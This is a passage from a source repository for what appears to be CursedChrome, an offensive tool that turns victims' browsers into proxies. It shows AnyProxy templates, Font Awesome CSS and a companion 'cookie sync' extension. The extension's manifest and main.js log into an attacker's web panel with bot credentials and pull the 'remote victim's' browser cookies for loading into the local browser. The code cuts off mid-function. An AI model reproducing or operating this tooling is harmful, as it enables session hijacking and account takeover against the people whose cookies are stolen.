border-color: #108ee9; 48 | color: rgba(0, 0, 0, .65); 49 | background-color: #fff; 50 | border-style: solid; 51 | border-width: 1px; 52 | border-style: solid; 53 | border-color: #d9d9d9; 54 | } 55 | 56 | .primary { 57 | color: #fff; 58 | background-color: #108ee9; 59 | border-color: #108ee9; 60 | } 61 | 62 | .more { 63 | text-align: center; 64 | font-size: 14px; 65 | } 66 | 67 | .content { 68 | word-break: break-all; 69 | font-size: 14px; 70 | line-height: 1.2; 71 | margin-bottom: 10px; 72 | } 73 | body 74 | .logo 75 | span.any Any 76 | span.proxy Proxy 77 | .title Download: 78 | .content Select a CA file to download, the .crt file is commonly used. 79 | a(href="/fetchCrtFile?type=crt").button.primary rootCA.crt 80 | a(href="/fetchCrtFile?type=cer").button rootCA.cer 81 | .more More 82 | .buttons(style='display: none') 83 | a(href="/fetchCrtFile?type=pem").button rootCA.pem 84 | a(href="/fetchCrtFile?type=der").button rootCA.der 85 | .title User-Agent: 86 | .content #{ua} 87 | script(type='text/javascript'). 88 | window.document.querySelector('.more').addEventListener('click', function (e) { 89 | e.target.style.display = 'none'; 90 | window.document.querySelector('.buttons').style.display = 'block'; 91 | }); -------------------------------------------------------------------------------- /anyproxy/resource/cert_error.pug: -------------------------------------------------------------------------------- 1 | doctype html 2 | html(lang="en") 3 | head 4 | title Security Vulnerable 5 | style. 6 | body { 7 | color: #666; 8 | line-height: 1.5; 9 | font-size: 13px; 10 | font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,SimSun,sans-serif; 11 | } 12 | 13 | body * { 14 | box-sizing: border-box; 15 | } 16 | 17 | .container { 18 | max-width: 1200px; 19 | padding: 20px; 20 | padding-top: 150px; 21 | margin: 0 auto; 22 | } 23 | 24 | .title { 25 | font-size: 20px; 26 | margin-bottom: 20px; 27 | } 28 | 29 | .explain { 30 | font-size: 14px; 31 | font-weight: 200; 32 | color: #666; 33 | } 34 | 35 | .explainCode { 36 | color: #999; 37 | margin-bottom: 10px; 38 | } 39 | body 40 | .container 41 | div.title 42 | | #{title} 43 | div.explainCode 44 | | #{code} 45 | div.explain 46 | div!= explain 47 | -------------------------------------------------------------------------------- /anyproxy/test.js: -------------------------------------------------------------------------------- 1 | const Jasmine = require('jasmine'); 2 | 3 | const jasmine = new Jasmine(); 4 | const util = require('./lib/util'); 5 | const path = require('path'); 6 | 7 | const testTmpPath = path.join(__dirname, './test/temp'); 8 | const configFilePath = path.join(__dirname, './test/jasmine.json'); 9 | // rm - rf./test / temp / 10 | util.deleteFolderContentsRecursive(testTmpPath); 11 | 12 | jasmine.loadConfigFile(configFilePath); 13 | jasmine.configureDefaultReporter({ 14 | showColors: false 15 | }); 16 | jasmine.execute(); 17 | -------------------------------------------------------------------------------- /cookie-sync-extension/icons/icon128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/icons/icon128.png -------------------------------------------------------------------------------- /cookie-sync-extension/icons/icon16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/icons/icon16.png -------------------------------------------------------------------------------- /cookie-sync-extension/icons/icon48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/icons/icon48.png -------------------------------------------------------------------------------- /cookie-sync-extension/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "CursedChrome Cookie Sync Extension", 3 | "version": "0.0.1", 4 | "manifest_version": 2, 5 | "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'", 6 | "description": "Keeps your local browser cookies in sync with the remote victim.", 7 | "homepage_url": "https://github.com/mandatoryprogrammer/CursedChrome", 8 | "icons": { 9 | "16": "icons/icon16.png", 10 | "48": "icons/icon48.png", 11 | "128": "icons/icon128.png" 12 | }, 13 | "browser_action": { 14 | "default_icon": "icons/icon48.png", 15 | "default_title": "Cookie Sync settings and credential entry.", 16 | "default_popup": "src/browser_action/browser_action.html" 17 | }, 18 | "permissions": [ 19 | "cookies", 20 | "" 21 | ] 22 | } -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/browser_action.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 13 | 14 | 15 | 16 |
17 |
18 |
19 | 20 | Loading... 21 | 22 | CursedChrome Cookie Sync Extension 23 |
24 |
25 |
26 |
Extension Configuration
27 | 30 |

31 |

32 |
33 | Web Panel URL 34 |
35 | 36 |
37 |
38 |
39 | Bot Username 40 |
41 | 42 |
43 |
44 |
45 | Bot Password 46 |
47 | 48 |
49 |

50 |
51 | 52 | 55 | 56 | 59 |
60 |
61 |
62 |
63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/css/brands.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com 3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) 4 | */ 5 | @font-face { 6 | font-family: 'Font Awesome 5 Brands'; 7 | font-style: normal; 8 | font-weight: 400; 9 | font-display: block; 10 | src: url("../webfonts/fa-brands-400.eot"); 11 | src: url("../webfonts/fa-brands-400.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.woff") format("woff"), url("../webfonts/fa-brands-400.ttf") format("truetype"), url("../webfonts/fa-brands-400.svg#fontawesome") format("svg"); } 12 | 13 | .fab { 14 | font-family: 'Font Awesome 5 Brands'; 15 | font-weight: 400; } 16 | -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/css/brands.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com 3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) 4 | */ 5 | @font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-brands-400.eot);src:url(../webfonts/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.woff) format("woff"),url(../webfonts/fa-brands-400.ttf) format("truetype"),url(../webfonts/fa-brands-400.svg#fontawesome) format("svg")}.fab{font-family:"Font Awesome 5 Brands";font-weight:400} -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/css/regular.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com 3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) 4 | */ 5 | @font-face { 6 | font-family: 'Font Awesome 5 Free'; 7 | font-style: normal; 8 | font-weight: 400; 9 | font-display: block; 10 | src: url("../webfonts/fa-regular-400.eot"); 11 | src: url("../webfonts/fa-regular-400.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.woff") format("woff"), url("../webfonts/fa-regular-400.ttf") format("truetype"), url("../webfonts/fa-regular-400.svg#fontawesome") format("svg"); } 12 | 13 | .far { 14 | font-family: 'Font Awesome 5 Free'; 15 | font-weight: 400; } 16 | -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/css/regular.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com 3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) 4 | */ 5 | @font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-regular-400.eot);src:url(../webfonts/fa-regular-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.woff) format("woff"),url(../webfonts/fa-regular-400.ttf) format("truetype"),url(../webfonts/fa-regular-400.svg#fontawesome) format("svg")}.far{font-family:"Font Awesome 5 Free";font-weight:400} -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/css/solid.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com 3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) 4 | */ 5 | @font-face { 6 | font-family: 'Font Awesome 5 Free'; 7 | font-style: normal; 8 | font-weight: 900; 9 | font-display: block; 10 | src: url("../webfonts/fa-solid-900.eot"); 11 | src: url("../webfonts/fa-solid-900.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.woff") format("woff"), url("../webfonts/fa-solid-900.ttf") format("truetype"), url("../webfonts/fa-solid-900.svg#fontawesome") format("svg"); } 12 | 13 | .fa, 14 | .fas { 15 | font-family: 'Font Awesome 5 Free'; 16 | font-weight: 900; } 17 | -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/css/solid.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com 3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) 4 | */ 5 | @font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;font-display:block;src:url(../webfonts/fa-solid-900.eot);src:url(../webfonts/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.woff) format("woff"),url(../webfonts/fa-solid-900.ttf) format("truetype"),url(../webfonts/fa-solid-900.svg#fontawesome) format("svg")}.fa,.fas{font-family:"Font Awesome 5 Free";font-weight:900} -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/css/svg-with-js.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com 3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) 4 | */ 5 | svg:not(:root).svg-inline--fa { 6 | overflow: visible; } 7 | 8 | .svg-inline--fa { 9 | display: inline-block; 10 | font-size: inherit; 11 | height: 1em; 12 | overflow: visible; 13 | vertical-align: -.125em; } 14 | .svg-inline--fa.fa-lg { 15 | vertical-align: -.225em; } 16 | .svg-inline--fa.fa-w-1 { 17 | width: 0.0625em; } 18 | .svg-inline--fa.fa-w-2 { 19 | width: 0.125em; } 20 | .svg-inline--fa.fa-w-3 { 21 | width: 0.1875em; } 22 | .svg-inline--fa.fa-w-4 { 23 | width: 0.25em; } 24 | .svg-inline--fa.fa-w-5 { 25 | width: 0.3125em; } 26 | .svg-inline--fa.fa-w-6 { 27 | width: 0.375em; } 28 | .svg-inline--fa.fa-w-7 { 29 | width: 0.4375em; } 30 | .svg-inline--fa.fa-w-8 { 31 | width: 0.5em; } 32 | .svg-inline--fa.fa-w-9 { 33 | width: 0.5625em; } 34 | .svg-inline--fa.fa-w-10 { 35 | width: 0.625em; } 36 | .svg-inline--fa.fa-w-11 { 37 | width: 0.6875em; } 38 | .svg-inline--fa.fa-w-12 { 39 | width: 0.75em; } 40 | .svg-inline--fa.fa-w-13 { 41 | width: 0.8125em; } 42 | .svg-inline--fa.fa-w-14 { 43 | width: 0.875em; } 44 | .svg-inline--fa.fa-w-15 { 45 | width: 0.9375em; } 46 | .svg-inline--fa.fa-w-16 { 47 | width: 1em; } 48 | .svg-inline--fa.fa-w-17 { 49 | width: 1.0625em; } 50 | .svg-inline--fa.fa-w-18 { 51 | width: 1.125em; } 52 | .svg-inline--fa.fa-w-19 { 53 | width: 1.1875em; } 54 | .svg-inline--fa.fa-w-20 { 55 | width: 1.25em; } 56 | .svg-inline--fa.fa-pull-left { 57 | margin-right: .3em; 58 | width: auto; } 59 | .svg-inline--fa.fa-pull-right { 60 | margin-left: .3em; 61 | width: auto; } 62 | .svg-inline--fa.fa-border { 63 | height: 1.5em; } 64 | .svg-inline--fa.fa-li { 65 | width: 2em; } 66 | .svg-inline--fa.fa-fw { 67 | width: 1.25em; } 68 | 69 | .fa-layers svg.svg-inline--fa { 70 | bottom: 0; 71 | left: 0; 72 | margin: auto; 73 | position: absolute; 74 | right: 0; 75 | top: 0; } 76 | 77 | .fa-layers { 78 | display: inline-block; 79 | height: 1em; 80 | position: relative; 81 | text-align: center; 82 | vertical-align: -.125em; 83 | width: 1em; } 84 | .fa-layers svg.svg-inline--fa { 85 | -webkit-transform-origin: center center; 86 | transform-origin: center center; } 87 | 88 | .fa-layers-text, .fa-layers-counter { 89 | display: inline-block; 90 | position: absolute; 91 | text-align: center; } 92 | 93 | .fa-layers-text { 94 | left: 50%; 95 | top: 50%; 96 | -webkit-transform: translate(-50%, -50%); 97 | transform: translate(-50%, -50%); 98 | -webkit-transform-origin: center center; 99 | transform-origin: center center; } 100 | 101 | .fa-layers-counter { 102 | background-color: #ff253a; 103 | border-radius: 1em; 104 | -webkit-box-sizing: border-box; 105 | box-sizing: border-box; 106 | color: #fff; 107 | height: 1.5em; 108 | line-height: 1; 109 | max-width: 5em; 110 | min-width: 1.5em; 111 | overflow: hidden; 112 | padding: .25em; 113 | right: 0; 114 | text-overflow: ellipsis; 115 | top: 0; 116 | -webkit-transform: scale(0.25); 117 | transform: scale(0.25); 118 | -webkit-transform-origin: top right; 119 | transform-origin: top right; } 120 | 121 | .fa-layers-bottom-right { 122 | bottom: 0; 123 | right: 0; 124 | top: auto; 125 | -webkit-transform: scale(0.25); 126 | transform: scale(0.25); 127 | -webkit-transform-origin: bottom right; 128 | transform-origin: bottom right; } 129 | 130 | .fa-layers-bottom-left { 131 | bottom: 0; 132 | left: 0; 133 | right: auto; 134 | top: auto; 135 | -webkit-transform: scale(0.25); 136 | transform: scale(0.25); 137 | -webkit-transform-origin: bottom left; 138 | transform-origin: bottom left; } 139 | 140 | .fa-layers-top-right { 141 | right: 0; 142 | top: 0; 143 | -webkit-transform: scale(0.25); 144 | transform: scale(0.25); 145 | -webkit-transform-origin: top right; 146 | transform-origin: top right; } 147 | 148 | .fa-layers-top-left { 149 | left: 0; 150 | right: auto; 151 | top: 0; 152 | -webkit-transform: scale(0.25); 153 | transform: scale(0.25); 154 | -webkit-transform-origin: top left; 155 | transform-origin: top left; } 156 | 157 | .fa-lg { 158 | font-size: 1.33333em; 159 | line-height: 0.75em; 160 | vertical-align: -.0667em; } 161 | 162 | .fa-xs { 163 | font-size: .75em; } 164 | 165 | .fa-sm { 166 | font-size: .875em; } 167 | 168 | .fa-1x { 169 | font-size: 1em; } 170 | 171 | .fa-2x { 172 | font-size: 2em; } 173 | 174 | .fa-3x { 175 | font-size: 3em; } 176 | 177 | .fa-4x { 178 | font-size: 4em; } 179 | 180 | .fa-5x { 181 | font-size: 5em; } 182 | 183 | .fa-6x { 184 | font-size: 6em; } 185 | 186 | .fa-7x { 187 | font-size: 7em; } 188 | 189 | .fa-8x { 190 | font-size: 8em; } 191 | 192 | .fa-9x { 193 | font-size: 9em; } 194 | 195 | .fa-10x { 196 | font-size: 10em; } 197 | 198 | .fa-fw { 199 | text-align: center; 200 | width: 1.25em; } 201 | 202 | .fa-ul { 203 | list-style-type: none; 204 | margin-left: 2.5em; 205 | padding-left: 0; } 206 | .fa-ul > li { 207 | position: relative; } 208 | 209 | .fa-li { 210 | left: -2em; 211 | position: absolute; 212 | text-align: center; 213 | width: 2em; 214 | line-height: inherit; } 215 | 216 | .fa-border { 217 | border: solid 0.08em #eee; 218 | border-radius: .1em; 219 | padding: .2em .25em .15em; } 220 | 221 | .fa-pull-left { 222 | float: left; } 223 | 224 | .fa-pull-right { 225 | float: right; } 226 | 227 | .fa.fa-pull-left, 228 | .fas.fa-pull-left, 229 | .far.fa-pull-left, 230 | .fal.fa-pull-left, 231 | .fab.fa-pull-left { 232 | margin-right: .3em; } 233 | 234 | .fa.fa-pull-right, 235 | .fas.fa-pull-right, 236 | .far.fa-pull-right, 237 | .fal.fa-pull-right, 238 | .fab.fa-pull-right { 239 | margin-left: .3em; } 240 | 241 | .fa-spin { 242 | -webkit-animation: fa-spin 2s infinite linear; 243 | animation: fa-spin 2s infinite linear; } 244 | 245 | .fa-pulse { 246 | -webkit-animation: fa-spin 1s infinite steps(8); 247 | animation: fa-spin 1s infinite steps(8); } 248 | 249 | @-webkit-keyframes fa-spin { 250 | 0% { 251 | -webkit-transform: rotate(0deg); 252 | transform: rotate(0deg); } 253 | 100% { 254 | -webkit-transform: rotate(360deg); 255 | transform: rotate(360deg); } } 256 | 257 | @keyframes fa-spin { 258 | 0% { 259 | -webkit-transform: rotate(0deg); 260 | transform: rotate(0deg); } 261 | 100% { 262 | -webkit-transform: rotate(360deg); 263 | transform: rotate(360deg); } } 264 | 265 | .fa-rotate-90 { 266 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; 267 | -webkit-transform: rotate(90deg); 268 | transform: rotate(90deg); } 269 | 270 | .fa-rotate-180 { 271 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; 272 | -webkit-transform: rotate(180deg); 273 | transform: rotate(180deg); } 274 | 275 | .fa-rotate-270 { 276 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; 277 | -webkit-transform: rotate(270deg); 278 | transform: rotate(270deg); } 279 | 280 | .fa-flip-horizontal { 281 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; 282 | -webkit-transform: scale(-1, 1); 283 | transform: scale(-1, 1); } 284 | 285 | .fa-flip-vertical { 286 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; 287 | -webkit-transform: scale(1, -1); 288 | transform: scale(1, -1); } 289 | 290 | .fa-flip-both, .fa-flip-horizontal.fa-flip-vertical { 291 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; 292 | -webkit-transform: scale(-1, -1); 293 | transform: scale(-1, -1); } 294 | 295 | :root .fa-rotate-90, 296 | :root .fa-rotate-180, 297 | :root .fa-rotate-270, 298 | :root .fa-flip-horizontal, 299 | :root .fa-flip-vertical, 300 | :root .fa-flip-both { 301 | -webkit-filter: none; 302 | filter: none; } 303 | 304 | .fa-stack { 305 | display: inline-block; 306 | height: 2em; 307 | position: relative; 308 | width: 2.5em; } 309 | 310 | .fa-stack-1x, 311 | .fa-stack-2x { 312 | bottom: 0; 313 | left: 0; 314 | margin: auto; 315 | position: absolute; 316 | right: 0; 317 | top: 0; } 318 | 319 | .svg-inline--fa.fa-stack-1x { 320 | height: 1em; 321 | width: 1.25em; } 322 | 323 | .svg-inline--fa.fa-stack-2x { 324 | height: 2em; 325 | width: 2.5em; } 326 | 327 | .fa-inverse { 328 | color: #fff; } 329 | 330 | .sr-only { 331 | border: 0; 332 | clip: rect(0, 0, 0, 0); 333 | height: 1px; 334 | margin: -1px; 335 | overflow: hidden; 336 | padding: 0; 337 | position: absolute; 338 | width: 1px; } 339 | 340 | .sr-only-focusable:active, .sr-only-focusable:focus { 341 | clip: auto; 342 | height: auto; 343 | margin: 0; 344 | overflow: visible; 345 | position: static; 346 | width: auto; } 347 | 348 | .svg-inline--fa .fa-primary { 349 | fill: var(--fa-primary-color, currentColor); 350 | opacity: 1; 351 | opacity: var(--fa-primary-opacity, 1); } 352 | 353 | .svg-inline--fa .fa-secondary { 354 | fill: var(--fa-secondary-color, currentColor); 355 | opacity: 0.4; 356 | opacity: var(--fa-secondary-opacity, 0.4); } 357 | 358 | .svg-inline--fa.fa-swap-opacity .fa-primary { 359 | opacity: 0.4; 360 | opacity: var(--fa-secondary-opacity, 0.4); } 361 | 362 | .svg-inline--fa.fa-swap-opacity .fa-secondary { 363 | opacity: 1; 364 | opacity: var(--fa-primary-opacity, 1); } 365 | 366 | .svg-inline--fa mask .fa-primary, 367 | .svg-inline--fa mask .fa-secondary { 368 | fill: black; } 369 | 370 | .fad.fa-inverse { 371 | color: #fff; } 372 | -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/css/svg-with-js.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com 3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) 4 | */ 5 | .svg-inline--fa,svg:not(:root).svg-inline--fa{overflow:visible}.svg-inline--fa{display:inline-block;font-size:inherit;height:1em;vertical-align:-.125em}.svg-inline--fa.fa-lg{vertical-align:-.225em}.svg-inline--fa.fa-w-1{width:.0625em}.svg-inline--fa.fa-w-2{width:.125em}.svg-inline--fa.fa-w-3{width:.1875em}.svg-inline--fa.fa-w-4{width:.25em}.svg-inline--fa.fa-w-5{width:.3125em}.svg-inline--fa.fa-w-6{width:.375em}.svg-inline--fa.fa-w-7{width:.4375em}.svg-inline--fa.fa-w-8{width:.5em}.svg-inline--fa.fa-w-9{width:.5625em}.svg-inline--fa.fa-w-10{width:.625em}.svg-inline--fa.fa-w-11{width:.6875em}.svg-inline--fa.fa-w-12{width:.75em}.svg-inline--fa.fa-w-13{width:.8125em}.svg-inline--fa.fa-w-14{width:.875em}.svg-inline--fa.fa-w-15{width:.9375em}.svg-inline--fa.fa-w-16{width:1em}.svg-inline--fa.fa-w-17{width:1.0625em}.svg-inline--fa.fa-w-18{width:1.125em}.svg-inline--fa.fa-w-19{width:1.1875em}.svg-inline--fa.fa-w-20{width:1.25em}.svg-inline--fa.fa-pull-left{margin-right:.3em;width:auto}.svg-inline--fa.fa-pull-right{margin-left:.3em;width:auto}.svg-inline--fa.fa-border{height:1.5em}.svg-inline--fa.fa-li{width:2em}.svg-inline--fa.fa-fw{width:1.25em}.fa-layers svg.svg-inline--fa{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.fa-layers{display:inline-block;height:1em;position:relative;text-align:center;vertical-align:-.125em;width:1em}.fa-layers svg.svg-inline--fa{-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter,.fa-layers-text{display:inline-block;position:absolute;text-align:center}.fa-layers-text{left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter{background-color:#ff253a;border-radius:1em;-webkit-box-sizing:border-box;box-sizing:border-box;color:#fff;height:1.5em;line-height:1;max-width:5em;min-width:1.5em;overflow:hidden;padding:.25em;right:0;text-overflow:ellipsis;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-bottom-right{bottom:0;right:0;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom right;transform-origin:bottom right}.fa-layers-bottom-left{bottom:0;left:0;right:auto;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom left;transform-origin:bottom left}.fa-layers-top-right{right:0;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-top-left{left:0;right:auto;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top left;transform-origin:top left}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s linear infinite;animation:fa-spin 2s linear infinite}.fa-pulse{-webkit-animation:fa-spin 1s steps(8) infinite;animation:fa-spin 1s steps(8) infinite}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;position:relative;width:2.5em}.fa-stack-1x,.fa-stack-2x{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.svg-inline--fa.fa-stack-1x{height:1em;width:1.25em}.svg-inline--fa.fa-stack-2x{height:2em;width:2.5em}.fa-inverse{color:#fff}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.svg-inline--fa .fa-primary{fill:var(--fa-primary-color,currentColor);opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa .fa-secondary{fill:var(--fa-secondary-color,currentColor)}.svg-inline--fa .fa-secondary,.svg-inline--fa.fa-swap-opacity .fa-primary{opacity:.4;opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-secondary{opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa mask .fa-primary,.svg-inline--fa mask .fa-secondary{fill:#000}.fad.fa-inverse{color:#fff} -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/main.js: -------------------------------------------------------------------------------- 1 | toastr.options.closeButton = true; 2 | toastr.options.progressBar = true; 3 | 4 | function clear_cookie(url, name) { 5 | return new Promise(function(resolve, reject) { 6 | try { 7 | chrome.cookies.remove({ 8 | url: url, 9 | name: name 10 | }, () => { 11 | resolve(); 12 | }); 13 | } catch(e) { 14 | reject(e); 15 | } 16 | }); 17 | } 18 | 19 | function get_all_cookies() { 20 | return new Promise(function(resolve, reject) { 21 | try { 22 | chrome.cookies.getAll({}, (cookies) => { 23 | resolve(cookies); 24 | }); 25 | } catch(e) { 26 | reject(e); 27 | } 28 | }); 29 | } 30 | 31 | function get_url_from_cookie_data(cookie_data) { 32 | const protocol = cookie_data.secure ? 'https' : 'http'; 33 | var host = cookie_data.domain; 34 | if(host.startsWith('.')) { 35 | host = host.substring(1); 36 | } 37 | 38 | return `${protocol}://${host}${cookie_data.path}`; 39 | } 40 | 41 | const app = new Vue({ 42 | el: '#app', 43 | data: { 44 | loading: false, 45 | page: 'config', 46 | config: { 47 | url: '', 48 | username: '', 49 | password: '', 50 | sync_button_disabled: true, 51 | } 52 | }, 53 | methods: { 54 | check_login_credentials: async function(event) { 55 | // Save valid config to localStorage 56 | save_bot_config( 57 | this.config.url, 58 | this.config.username, 59 | this.config.password 60 | ); 61 | 62 | if (this.config.url === '' || this.config_message !== null) { 63 | return 64 | } 65 | 66 | const url_object = new URL(this.config.url); 67 | 68 | const check_url = `${url_object.origin}/api/v1/verify-proxy-credentials`; 69 | 70 | try { 71 | var response = await api_request( 72 | 'POST', 73 | check_url, { 74 | username: this.config.username, 75 | password: this.config.password, 76 | } 77 | ); 78 | this.config.sync_button_disabled = false; 79 | } catch (e) { 80 | this.config.sync_button_disabled = true; 81 | console.error(`Error while trying to check credentials against '${check_url}'`); 82 | console.error(e); 83 | } 84 | }, 85 | sync_cookies_to_browser: async function(event) { 86 | const url_object = new URL(this.config.url); 87 | const check_url = `${url_object.origin}/api/v1/get-bot-browser-cookies`; 88 | const response = await api_request( 89 | 'POST', 90 | check_url, { 91 | username: this.config.username, 92 | password: this.config.password, 93 | } 94 | ); 95 | 96 | const attrs_to_copy = [ 97 | 'domain', 98 | 'expirationDate', 99 | 